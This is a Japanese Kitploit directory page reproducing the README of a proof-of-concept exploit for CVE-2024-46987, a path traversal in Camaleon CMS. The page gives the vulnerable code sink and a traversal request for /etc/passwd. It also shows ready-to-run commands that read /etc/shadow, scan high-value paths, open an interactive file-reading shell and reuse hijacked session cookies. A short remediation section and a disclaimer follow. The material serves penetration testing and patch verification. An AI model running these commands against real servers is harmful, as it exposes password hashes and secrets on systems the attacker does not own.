Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-46987 — CVE-2024-46987 の PoC エクスプロイト — Camaleon CMS の任意パス横断（ファイル読み取り） | Kitploit
ツール/GitHubGitHub/blueberryp1ll/cve-2024-46987
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubblueberryp1ll/cve-2024-46987

CVE-2024-46987

CVE-2024-46987 の PoC エクスプロイト — Camaleon CMS の任意パス横断（ファイル読み取り）

リポジトリを見る
6ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-46987 — Camaleon CMS 任意パストラバーサル

許可されたセキュリティ評価、侵入テスト、および教育研究目的のみに使用してください。

概要

フィールド詳細
CVECVE-2024-46987
製品Camaleon CMS
バージョン>= 2.8.0, < 2.8.2 (2.9.0でも確認済み)
タイプパストラバーサル / 任意ファイル読み取り (CWE-22)
認証必須 (任意の低権限アカウント)
CVSS7.7 High — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
修正版2.8.2

脆弱性

MediaController#download_private_file は、params[:file] をサニタイズせずに fetch_file に渡します：

root@kitploit:~
# Vulnerable sink
fetch_file("private/#{params[:file]}")

値が send_file で使用される前にパスの正規化が適用されないため、認証された攻撃者は ../ シーケンスを使用して private/ ディレクトリから脱出し、Rails プロセスがアクセス権限を持つ任意のファイルを読み取ることができます。

脆弱なエンドポイント:

root@kitploit:~
GET /admin/media/download_private_file?file=../../../../../../etc/passwd

必要条件

  • Python 3.8 以上
  • requests ライブラリ
root@kitploit:~
pip3 install requests

使用方法

root@kitploit:~
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
                         [-P PASSWORD] [-f FILE] [-d DEPTH]
                         [--interesting] [--interactive]
                         [--no-verify] [--debug]

資格情報ベースの認証

root@kitploit:~
# /etc/passwd を読み取り (デフォルト)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password

# 特定のファイルを読み取り
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow

# 高価値パスの組み込みリストをスキャン
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting

# 対話型ファイル読み取りシェル
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive

既存のセッションの再利用 (Burp Suite / ブラウザ DevTools から)

root@kitploit:~
# 単一ファイル
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX" -f /etc/passwd

# 対話型シェル
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX; auth_token=YYYY" --interactive

オプション

フラグ説明
-uターゲットのベースURL
-U / -PCMSのユーザー名とパスワード
--cookie生のクッキー文字列 (資格情報の代替)
-f読み取るファイルパス (デフォルト: /etc/passwd)
-dトラバーサル深度 — 前置する ../ の数 (デフォルト: 10)
--interesting組み込みの高価値パスリストを反復処理
--interactive対話型ファイル読み取りシェル
--no-verifyTLS証明書の検証を無効化
--debug認証失敗の診断用に詳細出力

/proc 疑似ファイルについての注意

/proc/self/ 以下のファイル (例：environ、cmdline) は HTTP 200 を返しますが、本文は空です。これは予期された動作です — カーネルがそれらのサイズを 0 として報告するため、Rails の send_file は何もストリームしません。代わりに通常のフラットファイルを使用してください。

修復

Camaleon CMS を バージョン 2.8.2 以降 にアップグレードしてください。パッチは適切なパス正規化を追加し、send_file を呼び出す前に解決されたパスが意図されたディレクトリ内に留まることを保証します。

または：

  • 使用前にユーザー提供のすべてのファイルパスを正規化する。
  • .. シーケンスを含む入力を拒否する。
  • Rails プロセスを実行する OS ユーザーに最小権限の原則を適用する。

参考文献

  • GHSA-cp65-5m9r-vc2c — GitHub アドバイザリ
  • GHSL-2024-183 — GitHub Security Lab
  • NVD — CVE-2024-46987

免責事項

この概念実証は、教育目的およびセキュリティ専門家が許可されたテスト環境で脆弱性を理解し再現するのを支援するために公開されています。著者は悪用に対する責任を負いません。所有していないシステムをテストする前に、必ず明示的な書面による許可を取得してください。

ツールをダウンロード